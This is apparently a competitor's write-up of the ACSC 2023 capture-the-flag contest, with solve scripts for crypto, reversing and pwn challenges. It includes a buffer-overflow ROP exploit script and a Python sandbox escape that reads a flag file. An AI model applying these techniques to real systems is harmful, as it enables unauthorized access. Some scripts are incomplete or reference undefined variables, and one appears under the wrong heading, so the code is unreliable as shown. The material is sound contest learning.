## Overview

This year I participated in Asian Cyber Security Challenge and placed 38th place out of all participants. This documents the writeups for all of the challenges I solved. The writeup will be in chronological order ;) Challenge solved after the competition are marked as [*]

## Welcome

Well just welcome, you know the drill :) flag: ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}

## Warmup Crypto - Merkel Hellman

This is a knapsack crypto system. But since the Private key space are too small, we can bruteforce all possible combination of private keys, and map the result to each character.

### solve.py

import itertools

Public = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
#Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

sub = [0 for i in range(0x80)]
for c in range(0x80):
s = 0
for i in range(7):
if c & (64>>i):
s += Public[i]
sub[c] = s

flag = ""
for i in Ciphertext:
flag += chr(sub.index(i))

print(flag)


flag: ACSC{E4zY_P3@zy}

## Warmup Reverse - serverless

This is a reverse challenge in javascript. I just open the file in firefox and start substituting out the constants.

After a while it’s clear that it’s doing RSA on some randomly chosen prime pair, so I translate everything to python, and reverse the operations.

### decrypt.py

from random import randint
from Crypto.Util.number import bytes_to_long, long_to_bytes

#k = randint(0, 10)
#j = randint(0, 10)
#r = g[k] * h[j]
#s = randint(0, 5)
#t = 2 ** (2 && s) + 1

#u = byte_to_long;
#v = u(message);

#w = pow
#x = pow(v, t, r)

y = [117,96,98,107,7,43,220,233,126,131,201,15,244,105,252,125,10,166,219,230,250,82,211,101,195,39,240,158,174,59,103,153,122,36,67,179,224,108,9,88,191,91,14,224,193,52,183,215,11,26,30,183,133,161,169,91,48,229,99,199,165,100,218,0,165,41,55,118,227,236,80,116,120,125,10,123,125,131,106,128,154,133,55,5,63,236,69,27,201,118,180,74,213,131,47,200,116,52,49,120,86,124,178,92,246,119,98,95,86,104,64,30,54,20,109,133,155,122,11,87,16,223,162,160,215,209,136,249,221,136,232]
y = y[::-1]
passwd = b"acscpass"
de_y = []
for i, n in enumerate(y):
de_y.append(n^passwd[i%8])
print(de_y)
s, j, k = de_y[-3:]
print(s, k, j)

# it's rsa
e = 2**(2**s) + 1
print(e)
n = g[k] * h[j]
print(g[k])
print(h[j])
print(n)

enc = bytes_to_long(bytes(de_y[:-3][::-1]))
print(hex(enc))
phi = (g[k] - 1) * (h[j] - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(enc, d, n)))


flag: ACSC{warmup_challenge_so_easy}

## Warmup Pwn - Vaccine

Putting the file into ghidra allow us to observe the behavior. The program compare the user input with a file, and output if the input matches. Note that it uses scanf("%s") to read input, so we can overflow the buffer. After that we just ROP, leak libc from GOT, and ret2system.

### solve.py

#!/usr/bin/python3

from pwn import *
# from ctypes import CDLL

elf = ELF("./vaccine_patched")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

def connect():
if args.REMOTE:
nc_str = "nc vaccine.chal.ctf.acsc.asia 1337"
_, host, port = nc_str.split(" ")
p = remote(host, int(port))

else:
p = process([elf.path])
if not args.DEBUG:
gdb_script = """
b *main+417
c
"""
gdb.attach(p, gdb_script)

return p

def main():
p = connect()

pop_rdi = 0x401443
pop_rsi = 0x401441
ret_nop = 0x40101a

p.recvuntil("reward:")
p.recvline()
leak = p.recv()
libc_leak = u64(leak[:6].ljust(8, b"\x00"))
print("got leak:", hex(libc_leak))
libc.address = libc_base = libc_leak - libc.symbols['puts']

p.interactive()

if __name__ == "__main__":
main()


### Solve.py

from Crypto.Util.number import long_to_bytes
from hashlib import sha512
from sage.all import *
f = open("output.txt")

k0 = int(pairs[0].split(":")[-1])

res = []
modu = []
for p in pairs:
e, k = map(int, p.split(":"))
if(gcd(int(e), int(k))!=1): continue
inv_k = pow(k, -1, e)
inv_k = e - inv_k
#    print(e*inv_e%k)
modu.append(e)
res.append(inv_k)

#print(res, modu)
print(modu)
print(res)
phi = int(CRT_list(res, modu))
print("n: ", n)
print("phi: ",phi)
multiplier = int(reduce(lambda x, y: x*y, modu))
print("mul:", multiplier)
e = 65537
phi = (n // multiplier + 20) * multiplier + phi
print("phi: ",phi)

while True:
print((n+1-phi), (n+1-phi)**2, 4*n)
det = Integer((n+1-phi)**2 - 4*n)
if(det.is_square()):break
phi -= multiplier
print(det, sqrt(det))

p = Integer(((n + 1 - phi) + sqrt(((n + 1 - phi) ** 2) - 4 * n))/ 2)
print("p: ", p, Integer(n)%p)
q = n // p
assert(p*q == n)

if p > q:p,q = q,p
flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}"
print(flag)


flag:

ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}


## Reverse - ngo

At first I tried to just run the file. It was slowly outputing the flag but it’s getting slower and slower. Looking at the binary in ghidra, we notice that the program is generating the key through lfsr, which are run more and more time for later keys. I extracted the logic and implement the lfsr in python, then create the jump ahead function for it so I can get the key faster.

### solve.py

import sys
from sage.all import *

ctr = 0x3D2964F0
seed = ctr
tap = 0x80200003
# Galois LFSR with length of 64 and const 0x80200003
def jump1(ctr, step):
a = ctr
for i in range(step):
if(a%2==1):
a = a // 2
a ^= 0x80200003
else:
a = a // 2
print(a)
print(bin(a))

F = GF(2)
key = list(map(lambda x:F(int(x)), bin(tap)[2:].rjust(32, "0")))[::-1]
upd = identity_matrix(F, 32)
L = upd.rows()
for i in range(30):
L[i] = L[i+1]
L[30] = [F(1) if i == 31 else F(0) for i in range(32)]
#L[31] = key
L[31] = [F(0) for i in range(32)]
upd = matrix(L)
L = upd.columns()
L[0] = key
upd = matrix(L).transpose()
print(upd)

def jump (ctr, step):
v = vector(F, list(map(int, bin(ctr)[2:].rjust(32, "0")[::-1])))
jmp = (upd**step)*v
ret = 0
for i in range(31, -1, -1):
ret <<= 1
ret += int(jmp[i])
#    print(ret)
#    print(bin(ret))
return ret

#for i in range(10):
#    print(jump1(seed, i), jump(seed, i))

enc_array = b'\x01\x19\xef\x5a\xfa\xc8\x2e\x69\x31\xd7\x81\x21'

print("The Flag is \"ACSC{", end="")
for i in enc_array:
print(chr((ctr&0xff)^i), end="")
sys.stdout.flush()

print("}\"")


flag: ACSC{yUhFgRvQ2Afi}

## Pwn - evalbox

The challenge is basically to read a file without triggering close system in python. I first extend the privillage from eval to exec with the first line, leak the file name with part 1 script, then print the flag witih part 2.

### solve.py

#to exec long stuff
#[exec("\n".join([input() for i in range(10)])), 123]
#part 1
import os
import sys
fd = os.open("./" , os.O_RDONLY|os.O_NONBLOCK|os.O_CLOEXEC|os.O_DIRECTORY)
with os.scandir(fd) as f:
for i in range(3):
print(repr(next(f)))
sys.stdout.flush()

#part 2
import sys
with open("./flag-0479f1dcda629bbe833598bce876a647.txt","r") as f:
sys.stdout.flush()


flag: ACSC{bl4ckL1st_ruL3_1s_4lw4y5_d4ng3r0uS!}

## [*]Crypto - DSA

In this challege the same message is signed with two different keys, note that the random number are shared across the two encryption.

\begin{align} s_1 &\equiv k^{-1}(Z + r_1 x) &\pmod{p_1} \\ s_2 &\equiv k^{-1}(Z + r_2 x) &\pmod{p_2} \\ \end{align}

Where k is the random number shared, and x is the private key we want to extract. Z is hash of the message, and s, r, p are constants we know.

From the above equation we can observe the following relationship, turning it from modular form to regular equations

\begin{align} k s_1 + x r_1 & = Z + n_1 p_1 \\ k s_2 + x r_2 & = Z + n_2 p_2 \\ \end{align} \begin{align} k s_1 + x r_1 - n_1 p_1 - Z &= 0\\ k s_2 + x r_2 - n_2 p_2 - Z &= 0\\ \end{align}

We can then add some more equations

\begin{align} k s_1 + x r_1 - n_1 p_1 - Z &= 0\\ k s_2 + x r_2 - n_2 p_2 - Z &= 0\\ -1 &= -1\\ k &= k\\ x &= x\\ \end{align}

Then we can construct the lattice from the equation

\begin{align} k \begin{bmatrix} s_{1} \\\ s_{2} \\\ 0 \\\ 1 \\\ 0 \end{bmatrix} +x \begin{bmatrix} r_{1} \\ r_{2} \\ 0 \\ 0 \\ 1 \\ \end{bmatrix} +n_1 \begin{bmatrix} -p_1 \\ 0 \\ 0 \\ 0 \\ 0 \end{bmatrix} + n_2 \begin{bmatrix} 0 \\ -p_2 \\ 0 \\ 0 \\ 0 \end{bmatrix} +\begin{bmatrix} -Z \\ -Z \\ 1 \\ 0 \\ 0 \end{bmatrix} =\begin{bmatrix} 0 \\ 0 \\ 1 \\ k \\ x \end {bmatrix} \end{align}

We then apply LLL on the matrix to get k and x

Note that to make the result vector balance, we can multiple the matrix by a constant factor before solving with LLL. In this case we know that k is 512 bits and x is 504 bits, so we decrease the length of the last two entry before calling LLL, then scale back up when it’s done. Shout out to Mystiz ✔✔#1337 on discord for sharing this trick. My original construction looks as follow

\begin{align} k \begin{bmatrix} s_{1} \\\ s_{2} \\\ 1 \\\ 0 \end{bmatrix} +x \begin{bmatrix} r_{1} \\ r_{2} \\ 0 \\ 1 \\ \end{bmatrix} +n_1 \begin{bmatrix} -p_1 \\ 0 \\ 0 \\ 0 \end{bmatrix} + n_2 \begin{bmatrix} 0 \\ -p_2 \\ 0 \\ 0 \end{bmatrix} =\begin{bmatrix} Z \\ Z \\ k \\ x \end {bmatrix} \end{align}

In this case the resulting vector are still too large, so LLL have a lower chance of finding it.

### solve.sage

import os
from hashlib import sha256
from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, inverse, long_to_bytes
#from sage.all import *

g = 4
p1, p2 = 6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699, 6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839
q1, q2 = (p1-1)//2, (p2-1)//2
print(q1, q2)
print(q1-1, q2-1)
y1, y2 = 4402230695629594751098609664164747722309480897222957264699530671849221909102875035849237359507796750078710393158944361439911537205013148370997499859214033074, 1681962252704346790535503180583651281903938541944441796556533586799974913619493902209110690623728835694029912753819263510084101226503501626563053650880055759
m = b'omochi mochimochi mochimochi omochi'
r1, s1 = (2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630, 705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802)
r2, s2 = (3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604, 2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373)

def h(m: bytes) -> int:
return int(sha256(m).hexdigest(), 16)

hm = h(m)

# equations
# s1 k - r1 x = hm % q1
# s2 k - r2 x = hm % q2

weights = [1, 1, 1, 1/2^512, 1/2^504]
Q = diagonal_matrix(weights)

L = Matrix([
[hm, hm, 1, 0, 0],
[s1, s2, 0, 1, 0],
[r1, r2, 0, 0, 1],
[q1, 0, 0, 0, 0],
[0, q2, 0, 0, 0]])

L = L*Q

possible = L.LLL()/Q

print(possible)
for i, j, k, l, m in possible:
if(i==j and abs(k) == 1):
X = m * k
print(long_to_bytes(int(X)))



flag: ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}